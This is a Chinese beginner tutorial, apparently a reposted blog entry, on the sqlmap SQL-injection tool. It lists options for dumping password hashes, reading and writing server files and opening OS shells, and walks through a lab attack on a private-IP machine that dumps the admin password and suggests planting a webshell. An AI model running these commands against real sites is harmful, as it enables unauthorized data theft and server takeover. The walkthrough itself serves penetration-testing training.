zoukankan      html  css  js  c++  java
  • sqlmap注入入门

    sqlmap注入入门

    sqlmap的用法:

    ​ linux中: sqlmap [选项]

    ​ Windows中: python sqlmap [选项]

    常用的参数及含义:
    • 目标

      ​ -d DIRECT 直接连接数据库

      ​ -u URL, --url=URL 目标 URL(例如:"http://www.site.com/vuln.php?id=1")

      ​ -l LOGFILE 从 Burp 或 WebScarab 代理的日志文件中解析目标地址

      ​ -x SITEMAPURL 从远程网站地图(.xml)文件中解析目标

      ​ -m BULKFILE 从文本文件中获取批量目标

      ​ -r REQUESTFILE 从文件中读取 HTTP 请求

      ​ -g GOOGLEDORK 使用 Google dork 结果作为目标

      ​ -c CONFIGFILE 从 INI 配置文件中加载选项

    • 枚举:

      ​ 以下选项用于获取后端数据库管理系统的信息,结构和数据表中的数据。此外,还可以运行你输入的 SQL 语句

      ​ a, --all 获取所有信息、数据

      ​ -b, --banner 获取 DBMS banner

      ​ --current-user 获取 DBMS 当前用户

      ​ --current-db 获取 DBMS 当前数据库

      ​ --hostname 获取 DBMS 服务器的主机名

      ​ --is-dba 探测 DBMS 当前用户是否为 DBA(数据库管理员)

      ​ --users 枚举出 DBMS 所有用户

      ​ --passwords 枚举出 DBMS 所有用户的密码哈希

      ​ --sql-query=QUERY 指定要执行的 SQL 语句

      ​ --sql-shell 调出交互式 SQL shell

      ​ --sql-file=SQLFILE 执行文件中的 SQL 语句

    • 暴力破解:

      ​ 以下选项用于暴力破解测试

      ​ --common-tables 检测常见的表名是否存在

      ​ --common-columns 检测常用的列名是否存在

    • 访问文件系统:

      ​ 以下选项用于访问后端数据库管理系统的底层文件系统

      ​ --file-read=RFILE 读取后端 DBMS 文件系统中的文件

      ​ --file-write=WFILE 写入后端 DBMS 文件系统中的文件

      ​ --file-dest=DFILE 使用文件绝对路径写入到后端 DBMS

    • 访问操作系统:

      ​ 以下选项用于访问后端数据库管理系统的底层操作系统

      ​ --os-cmd=OSCMD 执行操作系统命令

      ​ --os-shell 调出交互式操作系统 shell

      ​ --os-pwn 调出 OOB shell,Meterpreter 或 VNC

      ​ --os-smbrelay 一键调出 OOB shell,Meterpreter 或 VNC


      靶机实战
      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11
      

    可以得出目标主机是Ubuntu,web服务为apache,数据库管理系统是MySQL以及它们的版本信息。

    1. 列举出DBMS中所有的数据库

      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --dbs
      

    1. 获取DBMS当前数据库

      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --current-db
      

    1. 列举出test数据库中的所有表名

      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 -D test --tables
      

     我们发现了一个admin表,猜测其中可能有网站管路员的密码信息
    
    1. 查询admin表中的所有信息

      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-query="select * from test.admin;"
      
      

     我们获得了admin账户的密码,为mysql,我们可以利用admin用户,向目标服务器上传一句话木马,获取webshell。(可以自行百度“一句话木马”)
    
    1. 调出交互式SQL shell

      root@kaliwifi:~# sqlmap -u http://192.168.214.133/search.php?id=11 --sql-shell
      

    在sql-shell可以执行sql查询语句

        select * from test.admin;
      
    

    和第四步得到的结果是一样的

    小结

    利用SQLmap可以进行简单的sql注入,方便快捷。利用sqlmap可以查看目标机器的os,DBMS等。还可以可以枚举数据库、表、列。以上结果只是为了演示sqlmap的基本用法,在实际操作中很可能注入失败,可以进一步的查看sqlmap wiki。

  • 相关阅读:
    第221题:最大正方形
    第238题:除自身以外数组的乘积
    简单易懂的拓扑排序
    第207题 课程表
    第198题:打家劫舍
    第四章 初始化与清理
    【笔记】jquery判断两个日期之间相差多少天
    【笔记】spring定时器时间配置实例
    【笔记】jquery加减乘除及科学计算法处理
    string 日期相加和相减
  • 原文地址:https://www.cnblogs.com/intbjw/p/9463368.html
Copyright © 2011-2022 走看看